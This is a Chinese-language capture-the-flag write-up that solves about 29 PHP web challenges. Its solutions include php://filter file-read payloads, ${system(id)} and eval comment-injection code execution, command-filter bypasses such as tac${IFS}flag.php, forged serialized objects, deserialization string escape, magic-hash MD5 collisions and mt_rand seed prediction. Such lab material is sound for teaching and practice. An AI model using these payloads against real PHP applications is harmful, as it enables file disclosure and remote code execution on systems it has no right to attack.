zkaq-CTF靶场-2月靶场
zkaq-CTF靶场-2月靶场
NgkcvsCCzkaq-CTF靶场-2月靶场
1.伪协议(考点:伪协议读取、系统进程)
1 |
|
看到
require_once使用伪协议读取系统文件知识点: 在php中,
require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once。设想如何绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。
在这里有个小知识点,
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php
参考链接:
https://www.anquanke.com/post/id/213235#h3-2
2.超全局变量(考点:超全局变量)
1 | flag 在变量里! |
本题使用了两个知识点:
1.正则表达式匹配
2.可变变量
$$argsif(!preg_match(“/^\w+$/“,$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
此题使用可变变量:payload:
?args=GLOBALS
3.命令执行(考点:命令执行)
打开页面只有个 config,尝试传入 参数
config,没反应。题目 提示:config.php文件命令执行。因为有登陆验证,不让目录扫描,扫了也没结果。
这里直接访问
config.php
参考链接:
https://bbs.zkaq.cn/t/6045.html
4.巧用花括号(考点:花括号用法)
1 |
|
addslashes()函数是 PHP 中用于在字符串中的特定字符前添加反斜杠\的函数。它通常用于准备字符串,以防止其中的字符被误解为具有特殊含义的字符。这个函数的主要用途是在构建 SQL查询语句或其他需要转义特殊字符的上下文中,以防范一些安全问题,比如 SQL 注入。例如:
题目提示使用花括号
PHP中花括号的用法:
字符串${foobar}中的foobar会被当作变量来处理所以构造:
?str=${system(id)}@eval(‘$str=”‘.addslashes(
${system(id)}.’”;’);@eval(‘$str=”‘.addslashes(
system(id)).’”;’);payload:
?str=${flag()}
5.PHP特性(考点:PHP中引用的特性)
1 |
|
要求对pass传参,一个序列化的对象,使其能够满足
$o->secret === $o->enterpayload:
1
2
3
4
5
6
7
8
9
class just4fun {
var $enter;
var $secret;
}
$j=new just4fun;
$j->enter = &$j->secret; //因为要求secret和enter相等,这里直接让他恒等于
echo urlencode(serialize($j));
6.伪协议-Lv2(考点:伪协议data读取文件)
1 |
|
7.strcmp函数利用(考点:strcmp函数、null的特点)
题目提示:
strcmp传入数组的话,会返回null , 而null==0 是true
那么可以传入一个数组说明可以解题,但是不知道参数是什么。
页面显示
猜猜正确的flag是什么,试试将 flag 做为参数。成功获得 flag。
8.反序列化(考点:反序列化、base64_decode()函数)
页面只有个
hello token内容从题目提示中查找信息:
提示:满足条件$login[‘user’] === ‘ichunqiu’输出flag
hint: https://hack.zkaq.cn/file/down?id=e1e72cf886b36db4
下载后是个文本文件
source.txt
1 |
|
题目分析:
首先看
if($login['user'] === 'ichunqiu')很明显 login 是个
数组, 即$login = array('user');也就是
unserialize(gzuncompress(base64_decode($requset['token'])))==array('user'=>'ichunqiu');转换一下,就得到了:
gzuncompress(base64_decode($requset['token']))==serialize(array('user'=>'ichunqiu'))继续转换:
base64_decode($requset['token'])==gzcompress(serialize(array('user'=>'ichunqiu')))最后是:
$requset['token']==base64_encode(gzcompress(serialize(array('user'=>'ichunqiu'))))
payload:
1
2
3
4
5
6
$a = array('user' => 'ichunqiu');
$compressed = gzcompress(serialize($a));
$encoded = base64_encode($compressed);
echo $encoded;编码后得到:
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
9.ereg函数特性(考点:ereg()函数特性)
1 |
|
题目分析:
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)password必须只包含保护数字和字母
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)长度必须<8,且值要>9999999
if (strpos ($_GET['password'], '*-*') !== FALSE)strpos 是查找字符串首次出现的位置要达到
9999999这么大的数,只能使用科学计数法。他的表示形式是例如:1e9(即:1x10^9)1、利用ereg%00绕过的特性 aaaa%00- 绕过1
2、利用科学计数法绕过2和3,最终答案: 1e9%00- ,刚好%00传到后台被解析为1个字符,总共7个字符。1e9=1000000000,满足>9999999
其他:9999999设置的不够极限,还可以往后设置两位
10.URL编码(考点:URL编码)
1 |
|
直接构造payload:
?id=hackerZY
11.反序列化-Lv2(考点:反序列化、类销毁、回调函数)
1 |
|
12.反序列化-Lv3(考点:反序列化字符串逃逸)(1)
1 |
|
满足
if($this->password==='yu22x')就能得到flag,难点是$password不可控,考查的是反序列化字符串逃逸
要在参数值的结尾构造:”;s:8:”password”;s:5:”yu22x”;}(总共是30个字符)。因为str_replace(‘Firebasky’,’Firebaskyup’,$string);替换后从9个字符变为了11个,多了两个字符,因此输入15个Firebasky即可。
payload:
1 1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
参考地址:
https://bbs.zkaq.cn/t/6093.html
https://www.cnblogs.com/NPFS/p/13338789.html
13.科学计数法(考点:科学计数、intval函数特性)
1 |
|
提示:传入的数既要小于2020,又要+1后大于2021
可使用用科学计数法来绕过:1e9(1xe^9)
intval()函数返回变量的整数值。示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
$a = 32;
echo intval($a) . "<br>"; // 输出 32
$b = 3.2;
echo intval($b) . "<br>"; // 输出 3
$c = "32.5";
echo intval($c) . "<br>"; // 输出 32
$d = array();
echo intval($d) . "<br>"; // 输出 0
$e = array("red", "green", "blue");
echo intval($e) . "<br>"; // 输出 1本题中: intval($num + 1)涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。
1
2
3
4
5
6
$num = '1e9';
echo intval($num); // 输出 1,遇到e就忽略后面所有的内容
echo "\n";
echo intval($num + 1); //输出 1000000001level 2:要求 传入的值和传入的值的md5要相等。 也能用
科学计数法,可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。这里找了个py脚本
1
2
3
4
5
6
7 import hashlib
import re
for i in range(0,1000000000000):
strr = "0e"+str(i)
md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()):
print(strr+": "+md5)程序执行时间很长,以下是算出来的合适的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 #0e215962017: 0e291242476940776845150308577824
#0e251288019: 0e874956163641961271069404332409
0e730083352: 0e870635875304277170259950255928
0e807097110: 0e318093639164485566453180786895
0e1137126905: 0e291659922323405260514745084877
0e1284838308: 0e708279691820928818722257405159
0e2799298535: 0e258310720843549656960157258725
0e3335999050: 0e130023719718288785799459522477
0e3519466817: 0e094940930906507337180165634011
0e3583856241: 0e393014257117871018763295906362
0e4024205916: 0e846808382385411076718939894134
0e4340320546: 0e575745933756430831732364327914
0e4409827558: 0e655702474170091577049484139779
0e4599646567: 0e055111746358868173275656265715
0e4738654553: 0e894560071390737822227761038240
0e4858047624: 0e429229533924775465038205090387
0e4893612206: 0e420872451180943219372461458476
0e5464140925: 0e594427322853794026757264988602
0e6720551761: 0e247620669707457791787492426675
0e6816168251: 0e879471204618697257370037395611
0e6919296914: 0e157936471584309819113594592931
0e7073816470: 0e069321401020050043331093189824get flag :过滤空格和cat的命令执行,cat可以用 tac 来代替,空格可以用
${IFS}来代替。最后payload构造为:
1 ?num=1e9&md5=0e215962017&get_flag=tac${IFS}flag.php
14.加密题(考点:MD5加密)
1 |
|
题目提示:传入变量a的值不等于 QNKCDZO
按照题目要求找一个非
QNKCDZO值传入 a即可.php会把以
0E/0e开头的哈希值解释为0
所以传入的a的值Q经过md5加密后字符串开头为0e/0Epayload:
?a=571579406
15.弱类型比较(考点:==绕过、MD5编码)
题目打开是个无法访问的页面,仔细看原代码在
下面
1 |
|
使用弱类型比较绕过md5编码
数组和科学计数法,
强类型比较只能用数组payload:
?a[]=1&b[]=2
?a=PJNPDWY&b=571579406
16.弱类型比较-Lv2(考点:弱类型比较、MD5编码特性)
PD9waHAKCWluY2x1ZGUoJ2Zs YWcucGhwJyk7CgloaWdobGlnaHRf ZmlsZSgnaW5kZXgucGhwJyk7Cgkk djE9JF9HRVRbJ3YxJ107CgkkdjI9 JF9HRVRbJ3YyJ107CglpZihpc3Nl dCgkdjEpICYmIGlzc2V0KCR2Mikp ewoJCWlmKCFjdHlwZV9hbHBoYSgk djEpKXsKCQkJZGllKCJ2MSBlcnJv ciIpOwoJCX0KCQlpZighaXNfbnVt ZXJpYygkdjIpKXsKCQkJZGllKCJ2 MiBlcnJvciIpOwoJCX0KCQlpZiht ZDUoJHYxKT09bWQ1KCR2MikpewoJ CQllY2hvICRmbGFnOwoJCX0KCX1l bHNlewoJCWVjaG8gIndoZXJlIGlz IGZsYWc/IjsKCX0KPz4=
where is flag?
这个base64中间有空格,都被拆开了,想办法组合起来
转换后得到源代码
1 |
|
有两个参数
v1和v2构造payload:
?v1[]=1&v2[]=2
?v1=PJNPDWY&v2=571579406**
ctype_alpha()是PHP中用于检测字符串是否仅由字母组成的函数**。所以此题不能使用数组绕过,科学计数法也只能使用全是字母的字符串。
17.命令执行-Lv2(考点:命令执行、正则绕过、Linux命令特性)
1 |
|
提示:命令执行读取flag所在的文件
只过滤了个 flag ,使用通配符绕过即可
payload:
1
2
3 ?c=system("id");
?c=system("tac+fl*");
?c=system("tac%20fl*");
18.文件包含(考点:文件包含、伪协议读取)
1 | error_reporting(0); |
提示:文件包含配合伪协议读取
php被过滤掉了,不能使用
php://filter和php://input伪协议构造payload:
1 ?c=include%0a$_GET[1]&1=php://filter/convert.base64-encode/resource=flag.php
19.代码执行(考点:代码执行)
1 |
|
此题没有任何过滤,使用
post传参payload:
1
2 c=system('ls');
c=system('tac f*');发现有个
flag.php和1.txt,通过命令读取内容一样,都是flag内容
20.八进制(考点:八进制绕过正则)
1 |
|
提示:使用八进制绕过正则匹配
代码要求变量
num不能等于20211001,也不能是字母intval($num, 0) 函数的作用:只能返回数字的函数,将
$num转换为整数,自动识别进制。自动识别进制的规则 :根据前缀判断,如0x为十六进制,0开头为八进制,否则十进制。
if(intval($num,0)==20211001):**判断变量
$num转换为整数后是否等于20211001**。
将
20211001转换为八进制数为:115062471前边需要加0,表示八进制0115062471由于字符串以
0开头,PHP 会尝试按八进制解析。最终解析为:20211001所以payload:
?num=0115062471
21.代码执行-Lv2(考点:PHP优先级、or 、and、代码执行)
1 |
|
提示:php中OR与|| AND与&&的区别
看到
if($v0)要满足条件才能执行下面的代码,那么 v0 必须为true因为赋值的优先级=高于and,所以v0的值可以由v1来控制,所以需要给其赋值为1也就是true, 由于运算符优先级的问题,
$v0实际上等于is_numeric($v1),然后执行and后面的表达式,但赋值操作已经完成。因此,无论v2和v3是否为数字,只要v1是数字,$v0就会被赋值为true,然后and后面的条件会被执行,但结果不影响$v0的值。
if(!preg_match("/\;/", $v2))检查v2是否不包含分号;
if(preg_match("/\;/", $v3))检查v3是否包含分号;之后,代码将
$v2('ctfshow')$v3拼接到eval中执行。例如,如果v2是echo,v3是;,那么整个表达式变成echo('ctfshow');,这会输出’ctfshow’字符串。看到
eval,可以想到要使用命令执行,变量v2可以为system,那么就成了system('ctfshow');这个没有意义,不能输出flag可以让
v2为:system('cat flag.php'),但是不能又;,v3为:;, 组合后成为:eval("system('cat flag.php')('ctfshow');");这也不正常。直接构造payload:
我们可以直接构造
eval($v2('ctfshow')$v3);v2=
system("cat flag.php")/*v2=
*/;组合起来就是:
eval(system("cat flag.php")/*('ctfshow')*/;);可以看到
/*('ctfshow')*/是被过滤掉的内容,;被剩下来了,作为代码结束部分。所以最终payload为:
1 ?v1=1&v2=system('cat flag.php')/*&v3=*/;答案在源代码中
22.伪协议-Lv3(考点:正则绕过、伪协议读取)
1 |
|
构造payload:从过滤规则中看到以下payload关键字没有被过滤
1 ?file=php://filter/resource=flag.php
23.ASCII码绕过检测(考点:ASCII码)
1 |
|
提示:num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36
关键代码:
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')利用代码中的条件编写脚本找到合适的字符拼接36
1
2
3
4
5
6
7
8
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))." ";
}
}
1 %0C %2B - . 0 1 2 3 4 5 6 7 8 9%0C在URL编码中表示换页符
满足弱类型比较
"%0c36" == '36'为true。那么就使用:
?num=%0C36
24.全局变量(考点:全局变量)
1 |
|
可以看到参数
v1和v2都过滤了很多字符题目提示: 利用全局变量来实现输出
v1=ctfshowv2=GLOBALS
ctfshow=&GLOBALS此时ctfshow的指向就是全局变量的指向,也具有了相同的作用,那么此时vardump(ctfshow)就是var_dump$GLOBALSpayload为:
?v1=ctfshow&v2=GLOBALS
25.正则绕过(考点:绕过拦截字母和数字正则、数字和PHP语句组合执行)
1 | show=flag.php: not found |
提示:数字是可以和命令进行一些运算的,例如 1-phpinfo()
**
$v1 = (String)$_GET['v1'];**:将v1参数转换为字符串类型。**
is_numeric($v1) && is_numeric($v2)**:检查v1和v2是否为数字。**
preg_match('/^\W+$/', $v3)**:使用正则表达式检查v3是否仅包含非字母数字字符。由于
v1和v2必须是数字,v3必须是特殊字符,我们可以构造一个简单的数学表达式.例如:
v1 = 1v2 = 1v3 = +这样,
$v1$v3$v2就是1+1,eval("return 1+1;");将返回2。代码中并未使用eval的返回值,而是直接输出$v1$v3$v2 = ".$flag;。这意味着,只要通过了前面的条件判断,$flag就会被输出。还能使用绕过无字母数字的方法:
26.函数调用(考点:PHP类、PHP函数间的调用)
1 | 挑战VIP会员的第一天 |
payload:
?username=xxxxxx&password=xxxxxx
27.序列化(考点:$_COOKIE传参、序列化)
1 | 挑战VIP会员的第二天 |
payload:
1
2
3
4
5
6
7
8
9
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$c=new ctfShowUser;
echo urlencode(serialize($c));编码后得到:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D传参:
?username=xxxxxx&password=xxxxxx添加cookie为以上编码后的值:
28.爆破(考点:爆破、MD5编码)
1 | 挑战VIP会员的第三天 |
提示:需要构建poc,跑出满足if条件的paylload
从代码中看出:第2位,第15位,第18位是一样的,并且都是数字。假如第2,3,15位都是
1,那么经过运算(1+1+1)/1=3,也就是第32位为3.写个python脚本:
1
2
3
4
5
6
7
8
9 import hashlib
for i in range(1, 1000000000000000):
s = hashlib.md5(str(i).encode()).hexdigest()
if s[1]==s[14] and s[14]==s[17] and s[31].isdigit() and s[31]=='3':
print(i,s)
break
//运行结果
422 f85454e8279be180185cac7d243c5eb3**
str(i).encode()**: 将字符串转换为字节序列(bytes类型),这是因为哈希函数需要处理字节数据。**
hashlib.md5(...)**: 创建一个 MD5 哈希对象,并将字节数据作为输入。**
.hexdigest()**: 计算哈希值,并以 32 个字符的十六进制字符串形式返回结果。**
s[31].isdigit()**:确认字符串s的第 32 个字符是否为数字。
29.伪随机数(考点:伪随机数)
1 |
|
mt_srand() 函数:生成的是伪随机数
POC:
1
2
3
4
mt_srand(372619038);
echo mt_rand();这段代码使用固定的种子值
372619038来初始化伪随机数生成器,然后输出一个伪随机整数。由于使用了固定的种子,每次运行这段代码都会产生相同的随机数。这种特性在某些情况下可能导致安全问题。每次运行POC产生的伪随机数都一样,是:
999695185将此数值传入参数得到flag
?r=999695185

















































